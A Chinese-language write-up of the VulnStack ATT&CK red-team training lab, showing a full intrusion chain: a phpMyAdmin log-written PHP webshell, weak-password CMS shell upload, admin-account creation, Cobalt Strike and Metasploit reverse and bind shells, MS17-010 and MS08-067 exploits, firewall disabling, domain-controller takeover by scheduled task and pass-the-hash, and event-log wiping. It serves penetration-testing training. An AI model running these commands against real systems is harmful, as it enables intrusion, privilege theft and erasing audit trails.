VulnStack - ATT&CK红队评估实战(一) Writeup
阅读原文时间:2023年09月04日阅读:1

VulnStack - ATT&CK红队评估实战(一) Writeup

  • 项目地址

http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

  • 网络拓扑

环境说明

下载回来有三个虚拟机(虚拟机所有统一密码:hongrisec@2019):

  • VM1: vulnstack-win7

  • VM2: vulnstack-Win2K3 Metasploitable

  • VM3: vulnstack-winserver08

  • 物理机 192.168.111.1

  • kali 192.168.111.129

WP、漏洞讲解

官方WP:https://www.zrools.org/2020/03/09/VulnStack-ATT-CK红队评估实战-一-Writeup/

优秀WP:https://blog.csdn.net/weixin_54902210/article/details/124329382

最初的已知条件

已知一个目标IP为192.168.111.128

1、端口扫描 & Web目录扫描

nmap 192.168.111.128
nmap -A -T4 192.168.111.128

御剑1.5
dirb http://192.168.111.128
dirsearch -u "http://192.168.111.128/" -e *
python dirmap.py -i http://192.168.111.128/ -lcf
dirmap =>
[200][application/x-rar-compressed][3.00mb] http://192.168.111.128/beifen.rar
[200][text/html][70.42kb] http://192.168.111.128/phpinfo.php
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpMyAdmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyadmin/
[200][text/html; charset=utf-8][4.28kb] http://192.168.111.128/phpmyAdmin/
[200][text/html; charset=utf-8][14.39kb] http://192.168.111.128//l.php

2、phpMyAdmin GetShell【法一】

拓展思路:phpmyadmin写shell的几种方法

http://192.168.111.128/phpMyAdmin/

set global general_log='on';
SET global general_log_file='C:/phpStudy/WWW/shell.php'
select '<?php @eval($_POST['pwd']);?>';

3、CMS后台GetShell【法二】

接着再看一下beifen.rar这个文件,下载解压后是个yxcms文件夹,访问yxcms目录正是站点,直奔后台:

http://192.168.54.3/yxcms/index.php?r=admin/index/login

尝试admin/123456弱口令登录成功,然后在模板文件管理直接写Shell就可以了(在[全局设置->前台模板]中有很多php文件,随便找一个写入一句话木马):[index_index.php => index.php]

参考文章:https://www.cnblogs.com/yujin2020/p/14310839.html

4、通过蚁剑实现Windows远程连接

不做也ok

远程开启3389
1、查看3389开放情况 netstat -ano
2、开启3389端口(服务)
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3、添加管理员组用户 或者 使用管理员账户
①添加管理员组用户
net user xxx Admin@123/add
net localgroup Administrators xxx /add
或者
②使用管理员账户
修改密码
net user administrator Admin@123
激活用户
net user administrator /active:yes

其他操作:
rundll32.exe user32.dll,LockWorkStation 锁屏
query user 查询登录
logoff ID 下载

5、CS上线

cs开启服务端、客户端、设置监听器、制作Windows木马,通过蚁剑上传木马,蚁剑运行木马,cs成功上线

右键会话 -> sheep 1

1、Ladon911 一键信息收集

蚁剑上传Laon.exe

shell Ladon.exe 192.168.111.128 PortScan
shell Ladon.exe 192.168.52.0/24 PortScan

cs探测192.168.111.128

cs探测192.168.52.0/24

内网主机有445端口,且为Windows主机 => 可以尝试永恒之蓝漏洞是否可以利用

shell Ladon.exe 192.168.111.128 OsScan
shell Ladon.exe 192.168.52.0/24 OsScan

192.168.52.141是台Win2003,开了445端口,尝试拿MS08-067打。

2、CS信息收集

shell whoami
shell ipconfig /all
shell route print
shell arp -a
shell ping 192.168.52.141

内网信息收集获取关键信息:
查询操作系统和版本信息  systeminfo
机器名  hostname
当前用户 whoami
本地管理员 STU1/administrator
GOD/administrator
查看用户 net user
查看共享信息 net share

3、CS派生MSF生成SHELL控制内网(msf与CS联动)

1、msf创建监听

use exploit/multi/handler
set payload windows/meterpreter/reverse_http
set lhost 192.168.111.129
set lport 9999
exploit

2、在CS上添加监听器

3、传递会话

右键目标 => 增加会话 => 选择msf监听器

4、搭建隧道进内网(192.168.52.0/24)

实现:cs开隧道,msf链接隧道进内网

cs右键目标 => 中转 => SOCKS Server(设置端口)

cs最上面视图 => 代理信息(可看到cs开放代理情况) => 下边点击Tunnel => 复制msf代理情况 => 粘贴到msf进行执行

前提:cs开隧道,msf链接隧道进内网

1、由445端口尝试永恒之蓝

探测是否存在漏洞(一遍运行不成功就运行第二遍 => 可能存在防火墙的原因)

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.52.141,很耗时,而且session很大概率直接就died了。拿exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

2、使用ms17_010_command拿下内网主机【法一】

尝试ms17_010_command关闭系统防火墙

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

使用ms17_010_command拿下域内主机192.168.52.141

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.141
msf6 auxiliary(admin/smb/ms17_010_command) > set command "ipconfig /all"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

3、MS08-067搭配Bind TCP拿下内网主机【法二】

首先添加路由,使用Web服务器作为跳板访问Win2003

meterpreter > run autoroute -s 192.168.52.0/24
meterpreter > run autoroute -p

Bind TCP

接着MS08-067搭配Bind TCP使用:

meterpreter > background
msf6 exploit(multi/handler) > use exploit/windows/smb/ms08_067_netapi
msf6 exploit(windows/smb/ms08_067_netapi) > set rhost 192.168.52.141
msf6 exploit(windows/smb/ms08_067_netapi) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

正常来说应该是可以滴,估计是环境问题罢了。

域内信息收集
当前用户必须是域用户,而不是本地用户(除过本地的system用户)
1、    whoami  查询当前用户
2、    net user /domain  查询域内又几个用户(只能是域用户才有权限查询)
3、    net group "domain computers" /domain  查询域中的计算机名字
4、    net group "Domain Controllers" /domain  查询域控的名字
5、    nslookup -type=SRV _ldap._tcp  查询域控

1、抓取域内主机用户密码

2、域内主机通过ipc连接上域控

shell net use \\192.168.52.138\ipc$ "hongrisec@2019" /user:god\administrator

3、上传隧道马(s)

①先手动上传木马到拿下的dmz区域的域内主机

②使用ipc,将域内主机的木马文件复制进域控上

shell copy beacon.exe \\192.168.52.138\c$

4、通过计划任务运行木马【法一】

优点:直接忽略防火墙

shell schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\beacon.exe /ru system /f
shell schtasks /run /s 192.168.52.138 /i /tn "test"
link 192.168.56.138

成功拿下域控

5、利用哈希传递(PTH)一键上线不出网机器【法二】

优点:直接忽略防火墙

cs左上角点击Cobalt Strike => 可视化 => 目标列表 => 选择要上线设备(192.168.52.135) => 点击Jump => 选择psexec64 => 其余设置结果如下:

参考文章:https://www.cnblogs.com/sunny11/p/14301425.html

6、利于MS17-010拿下域控【法三】

前面扫描端口开着445,验证有MS17-010漏洞,尝试拿exploit/windows/smb/ms17_010_eternalbluewindows/x64/meterpreter/bind_tcp直接打192.168.72.102,很耗时,而且session很大概率直接就died了。拿exploit/windows/smb/ms17_010_psexec出现了Exploit completed, but no session was created.,没有session。

  • 系统防火墙

估计是被防火墙干掉了,尝试用ms17_010_command先关掉它:

msf6 exploit(windows/smb/ms17_010_psexec) > use auxiliary/admin/smb/ms17_010_command
msf6 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138
msf6 auxiliary(admin/smb/ms17_010_command) > set command "netsh advfirewall set allprofiles state off"
msf6 auxiliary(admin/smb/ms17_010_command) > exploit

  • MS17-010 和 Bind TCP

接着再拿ms17_010_psexecbind_tcp打一次:

msf6 exploit(windows/smb/ms17_010_psexec) > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.52.138
msf6 exploit(windows/smb/ms17_010_psexec) > set payload windows/x64/meterpreter/bind_tcp
msf6 exploit(windows/smb/ms17_010_psexec) > exploit

成功反弹获取session,拿下域控!

  • 删除添加的域管理账号(这里没有添加);

  • 删除服务器上渗透上传的工具;

  • 删除应用程序、系统和安全日志;

    meterpreter > clearev
    [] Wiping 1474 records from Application… [] Wiping 4836 records from System…
    [*] Wiping 41363 records from Security…

  • 断开MSF等连接;

  • 其他。

这次的靶机环境比较简单,只是用MSF配合一些小工具使用,归纳下前面的漏洞利用:

  • phpMyAdmin弱口令配合探针信息(WWW绝对路径)日志写Shell;
  • CMS后台弱口令配合后台模板管理写Shell;
  • 备份文件文件泄漏数据库配置和CMS源码等信息;
  • 内网主机未打补丁,可以直接远程获取系统权限(MS08-067、MS17-010)。

主机上还有些其他的服务,比如FTPWeblogicLDAP等可能存在漏洞,信息收集可以看看浏览器有没有保存密码什么的,mimikatz抓不到明文看看是不是64位机子加载到32位版本了,payload打过去异常可以换一个试试或者看看是不是防火墙的影响什么的,总之,没有一成不变的办法,遇到问题还要多分析。

基本信息
    作       者:   hongri
    创建时间:   2019年10月20日 14:05
    标       签:   内网渗透 | Kill Chain | 域渗透 | 威胁情报

描述
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟ATT&CK攻击链路进行搭建,开成完整闭环。后续也会搭建真实APT实战环境,从实战中成长。关于环境可以模拟出各种各样实战路线,目前给出作者实战的一套攻击实战路线如下,虚拟机所有统一密码:hongrisec@2019:
一、环境搭建
1.环境搭建测试
2.信息收集

二、漏洞利用
3.漏洞搜索与利用
4.后台Getshell上传技巧
5.系统信息收集
6.主机密码收集

三、内网搜集
7.内网--继续信息收集
8.内网攻击姿势--信息泄露
9.内网攻击姿势-MS08-067
10.内网攻击姿势-SMB远程桌面口令猜测
11.内网攻击姿势-Oracle数据库TNS服务漏洞
12.内网攻击姿势-RPC DCOM服务漏洞

四、横向移动
13.内网其它主机端口-文件读取
14.内网其它主机端口-redis
15.内网其它主机端口-redis Getshell
16.内网其它主机端口-MySQL数据库
17.内网其它主机端口-MySQL提权

五、构建通道
18.内网其它主机端口-代理转发

六、持久控制
19.域渗透-域成员信息收集
20.域渗透-基础服务弱口令探测及深度利用之powershell
21.域渗透-横向移动[wmi利用]
22.域渗透-C2命令执行
23.域渗透-利用DomainFronting实现对beacon的深度隐藏
24.域渗透-域控实现与利用

七、痕迹清理
25、日志清理

文件
ATT&CK红队评估实战靶场
        文件大小:    13  GB
        文件MD5:   e16fd0f6a5104aef0dfa73460afff0e8
        文件SHA1:  078ce02d01298fe40a1feb8260fde79d5fb06bc6
        下载地址: